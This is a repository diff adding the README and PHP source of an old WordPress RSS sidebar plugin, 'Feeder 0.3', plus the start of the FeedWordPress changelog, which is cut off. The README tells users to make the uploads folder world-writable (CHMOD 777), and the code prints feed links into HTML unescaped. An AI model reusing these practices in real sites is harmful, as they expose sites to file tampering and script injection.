+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feeder-v0.3/README.txt	(revision 44)
@@ -0,0 +1,100 @@
+Feeder 0.3  Documentation
+-=-=-=-=-=-=-=-=-=-=-=-=-
+
+Just Copy the feeder.php to /wp-root-path/wp-content/plugins/
+where /wp-root-path/ contains your Wordpress Installation and Follow the Instructions.
+
+
+Make Sure the ./wp-content/uploads/ Folder Exists and is set to CHMOD 777
+if you want to use the Feed-Cache Features. (and your disk/host has atleast 50KB of free Space)
+
+
+
+I. Instructions
+---------------
+
+1) Edit the "sidebar.php" File of your Default Template using Wordpress ACP or FTP and
+add the Following Lines in a Place Suitable for your Purpose.
+
+<!---- QUICK ---->
+      <?php if ( class_exists('feeder') ) : ?>
+         <h2><?php _e('Feeder'); ?></h2>
+         <ul>
+            <?php new feeder("http://feed-link"); ?>
+         </ul>
+      <?php endif; ?>
+<------ END ----->
+
+
+<!------- ADVANCED ------->
+      <?php if ( class_exists('feeder') ) : ?>
+         <h2><?php _e('Feeder'); ?></h2>
+         <ul>
+            <?php new feeder("http://feed-link", num-links, "<li>", "</li>", "feeder-link", "target", num-chars, 1, cache-time); ?>
+         </ul>
+      <?php endif; ?>
+<!--------- END ---------->      
+
+
+   Where
+   (i) 'http://feed-link' -> Feed URL you want to use
+  {ii} 'num-links' -> Number of Links to Show
+ (iii) '<li>' and '</li>' -> xHTML Tags to Bind the Links
+  (iv) 'feeder-link' -> CSS Class of the Links Shown for Styling (Leave it as it is)
+   (v) 'target' -> Link Target, "_blank" for New Window and "_self" for the Current Window.
+   (v) 'num-chars' -> Number of Characters to Parse for the Title
+  (vi) '1' -> Enable Feed Cache, Change to 0 if you dont want to use it/Anything Goes Wrong.
+ (vii) 'cache-time' -> Update the Cache Every n Seconds.. 3600 = 1Hr
+  
+  Example: <?php new feeder("http//domain.com/feed/", 5, "<li>", "</li>", "feeder-link", "_self", 32, 1, 3600); ?>
+  NOTE: Do NOT Quote the num-chars, num-links, cache and cache-time!
+
+2) Activate the Plugin from the Wordpress ACP Plugins Page.
+
+
+
+II. Regarding Feed-Cache
+------------------------
+
+If you directly source the Feed from another site, there seems to be a Lag in rendering Your Blog!
+Mostly because the Source Site is a Little Slow or has a Huge amount of Traffic.
+
+Feeder's Feed-Cache will keep a Scaled Down Copy of the RSS Feed in your own Server (Containing only Links and Titles)
+It Automatically Updates the Cache according to the time set (Default: 3600secs)
+
+Make sure the Uploads Folder of your blog is set to CHMOD 777 (Write-Write-Write) if you want to use the Feature.
+
+
+
+III. Bugs, etc.
+---------------
+
+If you Find any Nasty Bugs in my Plugin, Email me (subbu.exe[at]gmail.com)
+Thank You :)
+
+
+
+IV. License
+-----------
+
+Meh! See GPLv2 in gnu.org
+
+XML Parser Function is taken from PHP Manual. I Think PHP License, etc. applies for that..
+
+
+
+V. Feature Requests & Contact
+-----------------------------
+
+Plugin Page: http://xubz.com/weblog/2007/03/feeder-wordpress-plugin
+Author Blog: http://xubz.com/
+
+Email me (subbu.exe[at]gmail.com) if you want to Request Features, etc.
+
+I'm a Freelance Web Developer and Designer, Contact me about any Queries of those..
+
+(And Forgive my English.. :-/)
+
+
+
+EOF
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feeder-v0.3/feeder.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feeder-v0.3/feeder.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feeder-v0.3/feeder.php	(revision 44)
@@ -0,0 +1,250 @@
+<?php
+/*
+Plugin Name: Feeder
+Plugin URI: http://xubz.com/weblog/2007/03/feeder-wordpress-plugin
+Description: RSS 2.0 Feed Reader with 'Feed-Cache' Function. Parses the Given Feed into Links for Display in Blogs, Read the Documentation for more Info.
+Author: Subbu
+Author URI: http://xubz.com/
+Version: 0.3
+License: GNU General Public License (v2 or Later)
+*/
+
+if ('feeder.php' == basename($_SERVER['SCRIPT_FILENAME']))
+	die ('Please do not load this directly');
+
+class feeder
+{
+	var $feeder_ver = 0.30;
+
+	function readFeed($filename, $xml_key="") //XML Parser, Most Part of it comes from PHP Manual (duh!)
+	{
+		$data = implode("", file($filename));
+		$parser = xml_parser_create();
+		$xml_key = ($xml_key == "") ? "item" : $xml_key;
+
+		xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
+		xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
+		xml_parse_into_struct($parser, $data, $values, $tags);
+		xml_parser_free($parser);
+
+		foreach ($tags as $key => $val)
+		{
+			if ($key == $xml_key)
+			{
+				$feedranges = $val;
+				for ($i = 0; $i < count($feedranges); $i += 2)
+				{
+					$offset = $feedranges[$i] + 1;
+					$len = $feedranges[$i + 1] - $offset;
+					$fdb[] = $this->parseFeed(array_slice($values, $offset, $len));
+				}
+			}
+			else
+			{
+				continue;
+			}
+		}
+		return $fdb;
+	}
+
+	function parseFeed($values)
+	{
+		for ($i = 0; $i < 2; $i++)
+		{
+			$feed[$values[$i]["tag"]] = $values[$i]["value"];
+		}
+		return $feed;
+	}
+
+	function clean_title($title) //Clean the Titles of some unexpected characters.. Donno why those Appear :-/
+	{
+		$title = trim($title);
+		$title = stripslashes($title);
+		$title = str_replace("Ã¢â¬â¢", "&#39;", $title);
+		$title = str_replace("Ã¢â¬", "&quot;", $title);
+		$title = str_replace("Å", "", $title);
+		$title = htmlspecialchars($title);
+		return $title;
+	}
+
+	function process_data($feed_array)
+	{
+		$linkcount = 0;
+		$linksshown = 1;
+		$processed = array();
+
+		foreach($feed_array as $array)
+		{
+			$link = $array['link'];
+			$title = $this->clean_title($array['title']);
+
+			$tooltip = $title;
+			$title = substr($title, 0, $this->numchars); //Limit the Number of Characters to be Shown in Title
+			$title = (strlen($title) >= $this->numchars) ? ($title . $this->prefix) : $title;
+
+			$processed[$linkcount] = sprintf("\t%s<a href=\"%s\" title=\"%s\" class=\"%s\" target=\"%s\">%s</a>%s\n", $this->tag1, $link, $tooltip, $this->link_class, $this->link_target, $title, $this->tag2);
+			$linkcount = $linkcount + 1;
+		}
+
+		foreach ($processed as $show_link)
+		{
+			if ($linksshown <= $this->numlinks)
+			{
+				echo $show_link;
+				$linksshown = $linksshown + 1;
+			}
+		}
+
+		return ($linksshown - 1);
+	}
+
+	function feeder($filename = "", $numlinks = 0, $tag1 = "", $tag2 = "", $link_class = "", $link_target = "", $numchars = 0, $cache = 0, $update_time = 0)  //Class Constructor
+	{
+		if ($filename != "") //Check if the given Feed Path is Empty
+		{
+			error_reporting(0);
+			$filep = fopen($filename, "r"); //Try to open it.. Throws a insane amount of errors if the server can't,
+													  //So Disable the Error Reporting for a While :-/ (Have a better Method??)
+
+			error_reporting(E_ALL & ~E_NOTICE);
+
+			//Assign the basic variables
+			$cached = false;
+			$feed_file;
+
+			$upload_path = ABSPATH . 'wp-content/uploads/';
+			if (!is_dir($upload_path)) { echo "\n<li><a href=\"#\" title=\"Please Create a Uploads Directory in /wp-content/\">Feeder: Upload Dir. Doesn't Exist</a></li>"; }
+
+			$cache_path = $upload_path . 'feeder_' . substr(md5($filename), 0, 8) . '.xml'; //Prefix a Random String Made from the Filename
+
+			if ($filep) //Check if the Feed is Readable, See Line 106..
+			{
+				//Validate all the Function Variables and set Default Values
+				$this->prefix = "...";
+				$this->tag1 = ($tag1 == "") ? "<li>" : $tag1;
+				$this->tag2 = ($tag2 == "") ? "</li>" : $tag2;
+				$this->numchars = ($numchars == 0 or !is_integer($numchars) or $numchars < 1) ? 32 : $numchars;
+				$this->numlinks = ($numlinks == 0 or !is_integer($numlinks) or $numlinks < 1) ? 10 : $numlinks;
+				$this->link_class = ($link_class == "") ? "feeder-link" : $link_class;
+				$this->link_target = ($link_target == "" or ($link_target != "_self" and $link_target != "_blank")) ? "_self" : $link_target;
+				$update_time = ($update_time == 0 or !is_integer($update_time) or $update_time < 60) ? 3600 : $update_time;
+				$cache = ($cache == 1) ? 1 : 0;
+
+				if ($cache == 1) //If Cache is Enabled
+				{
+					$feed_file = $cache_path;
+
+					if (file_exists($cache_path)) //If the Feed was already Cached
+					{
+						//Get the Cache and Current Time (UNIX_TIMESTAMP)
+						$file_timestamp = filemtime($cache_path);
+						$current_timestamp = time();
+						$time_difference = $current_timestamp - $file_timestamp;
+
+						if ($time_difference >= $update_time) //Check whether the cache is deprecated (a simple validation Uh?)
+						{
+							$cached = false; //Its Deprecated, so set Cached as False
+						}
+						else
+						{
+							$cached = true; //Quite New, No Need to Update the Cache
+						}
+					}
+					else //Cache Doesn't Exist, Create it..
+					{
+						$cached = false;
+					}
+
+					if (!$cached) //The file is NOT Cached, so Create it.
+					{
+						if (file_exists($cache_path)) { unlink($cache_path); } //Unlink the old Cache to Update it.
+
+						$feeder_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">\r"; //Start Creating the Cache Content
+						$feeder_xml .= "<!-- generator=\"Feeder " . $this->feeder_ver . "\" -->\r";
+						$feeder_xml .= "<feeder>\r";
+
+						$feed_array = $this->readFeed($filename, "item"); //Parse the Feed into the Cache
+						if ($feed_array != "")
+						{
+							foreach ($feed_array as $array) //Add XML Elements
+							{
+								$link = $array['link'];
+								$title = $this->clean_title($array['title']);
+								$feeder_xml .= sprintf("<url>\n\t<title>%s</title>\n\t<link>%s</link>\n</url>\r", $title, $link);
+							}
+						}
+						else //Could not parse the feed, So Display a Error
+						{
+							echo "\n<li><a href=\"#\" title=\"The Resource provided does not seem to be a Valid RSS 2.0 Feed\">Feeder: Resource NOT a Feed</a></li>";
+							$bad_feed = 1;
+						}
+
+						$feeder_xml .= "</feeder>";
+
+						if (!isset($bad_feed) and $bad_feed != 1) //If There was no error, Continue
+						{
+							error_reporting(0); //If only PHP(5) had a better working try-catch Method.. :-/
+							if ($cachep = fopen($cache_path, "w")) //Write the Cache to the File
+							{
+								fputs($cachep, $feeder_xml);
+								fclose($cachep);
+								echo "\t<!-- Feeder: Cache Updated/Created.. Next Update on " . date("r", time() + $update_time) . " -->";
+								$cached = true;
+							}
+							else //Could not Write, Display Error, Set Cached as False
+							{
+								echo "\n<li><a href=\"#\" title=\"Could not Write/Read Cache, Please make sure uploads folder is set to CHMOD 777\">Feeder: Cache Permission Denied</a></li>";
+								$cached = false;
+							}
+							error_reporting(E_ALL & ~E_NOTICE);
+						}
+						else //Error in the Given Feed, Set Cached as False
+						{
+							$cached = false;
+						}
+					}
+				}
+
+				if ($cached) //Check if Cached is True, Parse the Links from the Cache
+				{
+					$feed_array = $this->readFeed($feed_file, "url");
+					if ($feed_array != "")
+					{
+						$links_shown = $this->process_data($feed_array);
+						echo "\t<!-- Feeder: " . $links_shown . " links parsed from Cache -->";
+					}
+					else //No Data in Cache, set Cached as False and Continue
+					{
+						$cached = false;
+					}
+				}
+
+				if ($cache != 1 or !$cached) //Cache is Disabled and Cached is False
+				{
+					if (file_exists($cache_path)) { unlink($cache_path); } //Delete the Cache, Create it later (Failproof Method)
+
+					$feed_array = $this->readFeed($filename, "item");
+					if ($feed_array != "")
+					{
+						$links_shown = $this->process_data($feed_array);
+						echo "\t<!-- Feeder: " . $links_shown . " links parsed directly from Feed -->";
+					}
+					else //Throw some Errors....
+					{
+						echo "\n<li><a href=\"#\" title=\"The Resource provided does not seem to be a Valid RSS 2.0 Feed\">Feeder: Resource NOT a Feed</a></li>";
+					}
+				}
+			}
+			else
+			{
+				echo "\n<li><a href=\"#\" title=\"Host Seems to be Down/Feed Doesn't Exist\">Feeder: (404) Feed not Found</a></li>";
+			}
+		}
+		else
+		{
+			echo "\n<li><a href=\"#\">Feeder: No URL Provided</a></li>";
+		}
+	}
+}
+//Thats all folks!
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/ChangeLog.text
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/ChangeLog.text	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/ChangeLog.text	(revision 44)
@@ -0,0 +1,1020 @@
+FeedWordPress Change Log
+========================
+Changes from 2009.0618 to 2009.0707
+-----------------------------------
+*	BUGFIX: WORDPRESS 2.8 AJAX COMPATIBILITY ISSUES RESOLVED (blank or
+	truncated "Syndicated Sites" administration page): Due to changes in the
+	AJAX interface elements between WordPress 2.7 and WordPress 2.8, several
+	FeedWordPress users encountered an issue where the front "Syndication"
+	page in the FeedWordPress administrative interface would come up blank,
+	without the normal "Syndicated Sites" list and "Update" control, or
+	sometimes wth the boxes visible but one or both of them truncated, with
+	only the title bar. This issue should now be resolved: with the new
+	version of FeedWordPress, the compatibility issue that caused the
+	disappearance should be eliminated, and if boxes are shown with only
+	their handle visible, you should once again be able to drop down the
+	rest of the box by clicking once on its title bar.
+
+*	BUGFIX: TAG SETTING WIDGET FIXED. Due to changes in interface elements
+	between WordPress 2.7 and WordPress 2.8, people using FeedWordPress with
+	WordPress 2.8 found that the widget for setting tags to be applied to
+	all syndicated posts, or all syndicated posts from a particular feed,
+	no longer displayed "Add" and "Remove" buttons for individual tags. This
+	issue has now been fixed, and the tagging widget should once again work
+	more or less exactly like the tagging widget for individual posts in the
+	normal WordPress admin interface.
+
+Changes from 2009.0613 to 2009.0618
+-----------------------------------
+*	BUGFIX: MYSTERY ERRORS WITH WITH WP_Http_Fsockopen HTTP TRANSPORT
+	ELIMINATED: Thanks to a combination of a subtle bug in FeedWordPress,
+	and changes to the HTTP transport code in WordPress, a number of users
+	encountered an error in which any time they attempted to add a new feed
+	through the FeedFinder interface, FeedWordPress would fail and display
+	an HTTP request failure diagnostic message. The subtle bug has been
+	fixed, and with it, most of these errors should now be eliminated.
+	
+	Be sure to upgrade your MagpieRSS to the most recent MagpieRSS version
+	after you have insalled FeedWordPress 2009.0618, or this bug fix will
+	not take effect.
+
+
+Changes from 2009.0612 to 2009.0613
+-----------------------------------
+*	INTERFACE/BUGFIX: WORDPRESS 2.8 CATEGORY BOX FIX. Thanks to a subtle
+	change in class names between the WordPress 2.7 and 2.8 stylesheets,
+	category boxes in the FeedWordPress settings interface tended to overflow
+	and have a lot of messy-looking overlapping text under WordPress 2.8.
+	This has now been fixed.
+	
+*	FeedFinder FAILURE DIAGNOSTICS: When FWP's FeedFinder fails to find any
+	feeds at a given URL (for example, when you are trying to add a
+	subscription through the administrative interface and you run into an
+	error message), FeedWordPress now provides more diagnostic information
+	for the reasons behind the failure. If that helps you, great; if not,
+	it should help me respond more intelligently to your support request..
+
+Changes from 2008.1214 to 2009.0612
+-----------------------------------
+*	WORDPRESS 2.8 COMPATIBILITY: FeedWordPress 2009.0612 has been tested for
+	compatibility with the recent version 2.8 release of WordPress.
+
+*	INTERFACE RESTRUCTURING: In order to avoid settings posts from becoming
+	too crowded, and to modularize and better organize the user interface,
+	new "Posts" and "Categories & Tags" subpages have been created under the
+	"Syndication" menu. "Posts" controls settings for individal syndicated
+	posts (such as publication status, comment and ping status, whether or
+	not to use the original location of the post as the permalink, whether
+	or not to expose posts to formatting filters, and so on). "Categories &
+	Tags" controls settings for assigning new syndicated posts to categories
+	and tags, such as categories or tags to apply to all syndicated posts,
+	and how to handle categories that do not yet exist in the WordPress
+	database. These subpages, like the Authors subpage, handle settings for
+	the global default level and for individual syndicated feeds.
+
+	Corresponding to these new subpages, the old Syndication Settings and
+	Feed Settings subpages have been cleaned up and simplified, and now only
+	link to the appropriate subpages for options that can be set in the
+	Posts, Authors, or Categories & Tags subpages.
+	
+*	FEATURE: ADD CUSTOM SETTINGS TO EACH SYNDICATED POST: FeedWordPress has
+	long had an interface for creating custom settings for each syndicated
+	*feed* which could be retrieved in templates using the `get_feed_meta()`
+	template function. But it had no feature for adding custom fields to
+	each individual syndicated *post*. In response to requests from users, I
+	have added the ability to apply custom fields to each individual
+	syndicated post, using the new Syndication --> Posts subpage. You can
+	set up custom fields to be applied to every syndicated post, or custom
+	fields to be applied to syndicated posts from a particular feed.
+
+*	FEATURE: MAGPIERSS VERSION CHECK AND UPGRADE: FeedWordPress will attempt
+	to determine whether or not you are using the upgraded version of
+	MagpieRSS that comes packaged with FeedWordPress. If not, it will throw
+	an error on admin pages, and, if you are a site administrator, it will
+	give you the option to ignore the error message, or to attempt an
+	automatic upgrade (using a native file copy). If the file copy fails,
+	FeedWordPress will offer some guidance on how to perform the upgrade
+	manually.
+
+*	BLANK POSTS PROBLEM NO LONGER OCCURS WITH OLD & BUSTED MAGPIERSS: Due
+	to the fact that I relied on a content normalization that occurs in my
+	upgraded version of MagpieRSS, but not in the old & busted version of
+	MagpieRSS that ships with WordPress, until this version, if you tried to
+	syndicate an Atom feed without having performed the (*strongly
+	recommended*) MagpieRSS upgrade, all of the posts would come up with
+	completely blank contents. That's not because MagpieRSS couldn't read
+	the data, but rather because the new Magpie version puts that data in a
+	location where the old version doesn't, and I was only looking in that
+	newer location. Now it checks for both, meaning that posts will continue
+	to display their contents even if you don't upgrade MagpieRSS. (But you
+	**really should** upgrade it, anyway.)
+
+*	BUGFIX: RELATIVE URI RESOLUTION FOR POST CONTENT RESTORED. Some time
+	back, I added support for resolving relative URIs against xml:base on
+	feeds that support it to the MagpieRSS upgrade in FeedWordPress. Then I
+	took out code that did the same thing from the main FeedWordPress code.
+	Of course, the problem is that some people, even though it is clearly
+	stupid or evil to do so, still include relative URIs for images or links
+	in posts on feed formats that do *not* adequately support xml:base
+	(notably, RSS 2.0 feeds). In response to a user request, I have added
+	this functionality back in, so that MagpieRSS will resolve any relative
+	URIs that it knows how to resolve using xml:base, and then FeedWordPress
+	will attempt to resolve any relative URIs that are left over afterwards.
+
+*	BUGFIX: INTERFACE OPTION FOR SETTING SYNDICATED POST PUBLICATION STATUS
+	ON A FEED-BY-FEED BASIS HAS BEEN RESTORED: Due to a version-checking
+	bug, users of WordPress 2.7.x lost an option from the "Edit a syndicated
+	feed" interface which allowed them to determine whether newly syndicated
+	posts should be published immediately, held as "Pending Review," saved
+	as drafts, or saved as private posts. (The option to change this
+	setting globally remained in place, but users could no longer set it on
+	a feed-by-feed basis.) The version-checking bug has been fixed, and the
+	option has been restored.
+
+*	BUGFIX: "ARE YOU SURE?" FATAL ERROR ELIMINATED AND SECURITY IMPROVED:
+	Under certain circumstances (for example, when users have configured
+	their browser or proxy not to send HTTP Referer headers, for privacy or
+	other reasons), many features in the FeedWordPress administrative
+	interface (such as adding new feeds or changing settings) would hit a
+	fatal error, displaying only a cryptic message reading "Are you sure?"
+	and a blank page following it. This problem has been eliminated by
+	taking advantage of WordPress's nonce functions, which allow the
+	security check which ran into this error to work properly even without
+	receiving an HTTP Referer header. (N.B.: WordPress's nonce functions
+	were first introduced in WordPress 2.0.3. If you're using FeedWordPress
+	with an older version of WordPress, there's no fix for this problem:
+	you'll just need to turn Referer headers back on. Sorry.)
+
+*	BUGFIX: MANUALLY-ALTERED POST STATUS, COMMENT STATUS, AND PING STATUS NO
+	LONGER REVERTED BY POST UPDATES: If you manually altered the post status,
+	comment status, or ping status of a syndicated post from what it was set
+	to when first syndicated -- for example, if you had a feed that was set
+	to bring in new posts as "Pending Review," and you then marked some of
+	the pending posts as "Published" and others as "Unpublished" -- then
+	in previous versions of FeedWordPress, these manual changes to the
+	status would be lost -- so that, for example, your Published or Unpublished
+	articles would revert to Pending Review -- if the source feed made any
+	upates to the item. This could make the Pending Review feature both
+	unreliable and also extremely frustrating to work with. The good news is
+	that this bug has since been fixed: if you manually update the status
+	of a post, it will no longer be reverted if or when the post is updated.
+
+*	BUGFIX: OCCASIONAL FATAL ERROR ON UPDATE ELIMINATED: Under certain
+	limited conditions (specifically, when both the title and the content of
+	a post to be updated are empty), an attempt to update the post would
+	result in a fatal error. This has been fixed.
+
+*	INTERFACE: "CONFIGURE SETTINGS" CONVENIENCE LINK ADDED TO CONFIRMATION
+	MESSAGE WHEN A NEW FEED IS ADDED: When you add a new subscription to
+	FeedWordPress, the message box that appears to confirm it now includes a
+	handy link to the feed's settings subpage, so that you can quickly set
+	up any special settings you may want to set up for the new feed, without
+	having to hunt through the list of all your other subscriptions to pick
+	out the new one.
+
+*	INTERFACE: SIMPLIFYING AND CLARIFYING AUTOMATIC UPDATES SETTINGS. I have
+	removed an interval setting for the cronless automatic updates which has
+	confused many FeedWordPress users. In past versions of FWP, when you
+	turned on automatic updates, you would be presented with a time interval
+	setting which controlled how often FeedWordPress would check for feeds
+	ready to be polled for updates. (That is, it DID NOT control how often
+	feeds *would be polled*; it controlled how often FeedWordPress would
+	*check* for feeds that *had become ready to poll*. The schedule on which
+	feeds became ready for polling was still controlled either by requests
+	encoded in elements within the feed itself, or else according to an
+	internal calculation within FeedWordPress, averaging out to about 1 hour,
+	if the feed did not include any scheduling request elements.) Since many
+	users very often (and understandably) confused the purpose of this
+	setting, and since the setting is for a feature that's actually very
+	unlikely to require any manual control by the user, I have removed the
+	setting; FeedWordPress now simply uses the default value of checking for
+	feeds to poll every 10 minutes.
+
+*	FEEDFINDER PERFORMANCE IMPROVEMENT: FeedWordPress's FeedFinder class
+	now uses `array_unique()` to make sure that it doesn't waste time
+	repeatedly iterating over and polling the same URI. Props to Camilo
+	(<http://projects.radgeek.com/2008/12/14/feedwordpress-20081214/#comment-20090122160414>).
+
+Changes from 2008.1105 to 2008.1214
+-----------------------------------
+
+*	WORDPRESS 2.7 COMPATIBILITY: FeedWordPress has been tested for
+	compatibility with the newly released WordPress 2.7. WordPress 2.7 has
+	deprecated the Snoopy library for HTTP requests, which caused a fatal
+	error for users who had not installed the MagpieRSS upgrade (or whose
+	installation of the MagpieRSS upgrade was overwritten by a recent update
+	of WordPress). FeedWordPress now handles things gracefully when Snoopy
+	is not immediately available.
+
+*	INTERFACE SPIFFED UP: Interface elements have been updated so that
+	FeedWordPress's management interface fits in more naturally with the
+	WordPress 2.7 interface (including a new logo and a number of small
+	interface tweaks).
+
+*	BUG WITH TAGS FOR SYNDICATED ARTICLES FIXED: Several users encountered a
+	bug with the option to add tags to all syndicated posts under
+	Syndication --> Settings -- if you told FeedWordPress to add more than
+	one tag to all syndicated posts, instead of doing so correctly, it would
+	add a *single* tag instead, whose name was composed of the names of all
+	the tags you asked it to add. This bug was the result of nothing more
+	dignified than a typographical error on my part. It has now been fixed.
+
+*	MORE INFORMATION AVAILABLE WHEN FEEDWORDPRESS CAN'T FIND A FEED: When
+	you enter a URL for a new syndication source, FeedWordPress uses a
+	simple feed-finding algorithm (originally based on Mark Pilgrim's
+	Universal Feed Finder) to try to determine whether the URL is the URL
+	for a feed, or, if the URL points to an ordinary website rather than to
+	a feed, whether there is a feed for that website. All well and good, but
+	if FeedWordPress failed to find a feed, for whatever reason, it would
+	typically return nothing more than a nasty little note to the effect of
+	"no feed found," without any explanation of what went wrong.
+	FeedWordPress now keeps track of error conditions from the HTTP
+	requests that it uses in the course of looking for the feed, and so may
+	be able to give you a bit more information about the nature of the
+	problem if something goes wrong.
+
+
+Changes from 2008.1101 to 2008.1105
+-----------------------------------
+
+*	INTERFACE RESTRUCTURING AND SYNDICATION --> AUTHORS PAGE: As a first
+	step towards modularizing and better organizing the user interface, a
+	new "Authors" subpage has been created under the Syndication menu, which
+	controls settings for syndicated authors, both at the global default
+	level and at level of individual syndicated feeds.
+
+*	BUG RELATED TO THE ATTRIBUTION OF POSTS TO THE WRONG AUTHOR FIXED: Some
+	users encountered an issue in which posts by different authors on
+	different blogs -- especially blogs generated by Blogger -- were
+	mistakenly attributed to a single author. The problem was caused by the
+	way in which FeedWordPress matches syndicated authors to user accounts
+	in the WordPress database: normally, if two feeds each list an author
+	with the same e-mail address, they are counted as being the same person.
+	Normally this works well, but it creates an issue in cases where
+	blogging software assigns a single anonymous e-mail address to users who
+	do not want their real e-mail address published. This is, for example,
+	what Blogger does (by giving all users a default e-mail address of
+	<noreply@blogger.com> if they don't want their own e-mail address
+	listed). FeedWordPress now allows the user to correct for this problem
+	with a couple of new settings under **Syndication --> Authors**, which
+	allow users to turn off e-mail based author matching for particular
+	addresses, or, if desired, to turn it off entirely. By default, e-mail
+	based author matching is still turned on, but disabled for a list of
+	known generic e-mail addresses. Right now, the "list" consists entirely
+	of <noreply@blogger.com>; if you know other addresses that should be
+	added, please [contact me](http://radgeek.com/contact) to let me know.
+
+	Please note that if you have already encountered this issue on your
+	blog, upgrading FeedWordPress will prevent it from re-occurring in the
+	future, but you still need to do two other things to fix the existing
+	problem on your blog.
+	
+	First, for each feed where posts have been mis-attributed, you need to
+	change the existing author mapping rules to re-map a a syndicated
+	author's name to the proper target account. Go to **Syndication -->
+	Authors**, select the feed you want to change from the drop-down list,
+	and then change the settings under the "Syndicated Authors" section.
+	(You will probably need to select "will be assigned to a new user..." to
+	create a new user account with the appropriate name.)
+	
+	Second, for each feed where posts have been mis-attributed, you need to
+	re-assign already-syndicated posts that were mis-attributed to the
+	correct author. You can do that from **Syndication --> Authors** by
+	using the author re-assignment feature, described below.
+
+*	AUTHOR RE-ASSIGNMENT FOR A PARTICULAR FEED: The author settings page
+	for each syndicated feed, under **Syndication --> Authors**, now
+	includes an section titled "Fixing mis-matched authors," which provides
+	an interface for re-assigning or deleting all posts attributed to a
+	particular author on a particular feed.
+
+*	SUPPORT FOR `<atom:source>` ELEMENT IN SYNDICATED FEEDS: Some feeds
+	(for example, those produced by FeedWordPress) aggregate content from
+	several different sources, and include information about the original
+	source of the post in an `<atom:source>` element. A new setting under
+	**Syndication --> Options** allows you to control what FeedWordPress
+	will report as the source of posts syndicated from aggregator feeds in
+	your templates and feeds: you can have FeedWordPress report that the
+	source of a post is the aggregator feed itself, or you can have it
+	report that the source of a post is the original source that the
+	aggregator originally syndicated the post from.
+	
+	By default, FeedWordPress will report the aggregator, not the original
+	source, as the source of a syndicated item.
+
+*	LOAD BALANCING AND TIME LIMITING FEATURES FOR UPDATES: Some users have
+	encountered issues due to running up against PHP execution time limits
+	during the process of updating large syndicated feeds, or a very large
+	set of syndicated feeds. FeedWordPress now has a feature that allows you
+	to limit the total amount of time spent updating a feed, through the
+	"Time limit on updates" setting under **Syndication --> Options**. By
+	turning on this setting and adjusting the time limit to a low enough
+	figure to avoid your PHP installation's time-out setting. (PHP execution
+	time limits are usually in the vicinity of 30 seconds, so an update
+	time limit of 25 seconds or so should provide plenty of time for updates
+	while allowing a cushion of time for other, non-update-related functions
+	to do their work.)
+	
+	If feed updates are interrupted by the time limit, FeedWordPress uses
+	some simple load balancing features to make sure that updates to other
+	feeds will not be blocked by the time-hogging feed, and will also make
+	sure that when the interrupted update is resumed, FeedWordPress will
+	skip ahead to resume processing items at the point at which it was
+	interrupted last time, so that posts further down in the feed will
+	eventually get processed, and not get blocked by the amount of time it
+	takes to process the items higher up in the feed.
+
+*	`guid` INDEX CREATION BUTTON: FeedWordPress frequently issues queries on
+	the `guid` column of the WordPress posts database (since it uses post
+	guid URIs to keep track of which posts it has syndicated). In very large
+	FeedWordPress installations, you can often significantly improve
+	performance by creating a database index on the `guid` column, but
+	normally you would need to poke around with MySQL or a tool like
+	phpMyAdmin to do this. FeedWordPress can now save you the trouble: to
+	create an index on the `guid` column, just go to
+	**Syndication --> Options**, and mash the button at the bottom of the
+	"Back End" section.
+
+Changes from 2008.1030 to 2008.1101
+-----------------------------------
+
+* 	INTERFACE BUG THAT PREVENTED ADDING NEW SITES FIXED: The UI reforms in
+	FWP 2008.1030 unintentionally introduced a bug that prevents clean
+	installations of FeedWordPress from providing an input box for adding
+	new feeds to the list of syndicated feeds. This bug has been fixed.
+
+Changes from 0.993 to 2008.1030
+-------------------------------
+
+*	WORDPRESS 2.6 COMPATIBILITY: FeedWordPress should now be compatible with
+	WordPress 2.6, and should work more or less seamlessly with the new post
+	revision system. A bug which caused multiple new revisions to be created
+	for posts on certain feeds, regardless of whether or not the item had
+	been updated, has been fixed.
+
+*	INTERFACE IMPROVEMENTS: The user interface has been substantially
+	restyled to fit in better with the visual style of WordPress 2.5 and
+	2.6.
+
+*	YOUTUBE BUG FIXED: POSTS SYNDICATED THROUGH AN AUTOMATIC UPDATE ARE NO
+	LONGER STRIPPED OF `<OBJECT>` TAGS AND CERTAIN OTHER HTML ELEMENTS: Due
+	to the way that some versions of WordPress process posts that are
+	inserted into the database when no user is logged in, many users
+	experienced an issue where YouTube videos and other content using the
+	HTML `<object>` tag would be stripped out of posts that were syndicated
+	during an automatic update. (Posts that were syndicated through manual
+	updates from within the WordPress Dashboard were not affected, because
+	the issue does not arise when an update is executed under a logged-in
+	administrator's credentials.) This bug has now been fixed; YouTube
+	videos and other content using `<object>` tags should now appear
+	properly in syndicated posts, regardless of the way in which the post
+	was syndicated.
+
+*	AJAX BUGS FIXED: Bugs which blocked the normal operation of WordPress
+	2.5's AJAX interface elements when FeedWordPress was activated have been
+	fixed.
+
+*	TAG SUPPORT: A couple of features have been introduced to take advantage
+	of the tagging features in WordPress 2.3.x, 2.5.x, and 2.6.x. Now, when
+	unfamiliar categories are encountered for posts on a feed, you can
+	choose for FeedWordPress (1) to drop the category; (2) to drop the
+	category and to filter out any post that does not match at least one
+	familiar category; (3) to create a new category with that name, or,
+	now, you can also have FeedWordPress (4) create a new *tag* with that
+	name. This option can be set site-wide under Syndication --> Options,
+	or it can be set on a feed-by-feed basis in a feed's Edit screen.
+	
+	In addition, you can now set particular tags to apply to all incoming
+	syndicated posts, under Syndication --> Options, or you can set tags
+	to apply to all incoming syndicated posts from a particular feed in that
+	feed's Edit screen.
+
+* 	FORMATTING FILTERS: There is a new option available under Syndication ->
+	Options which allows users to choose whether or not to expose syndicated
+	posts to being altered by formatting filters. By default, FeedWordPress
+	has always protected syndicated posts (which are already in display-ready
+	HTML when they are syndicated) from being reformatted by formatting
+	filters. However, this approach means that certain plugins which depend
+	on formatting filters (for example, to add "Share This" bars or relevant
+	links to the end of a post) are blocked from working on any syndicated
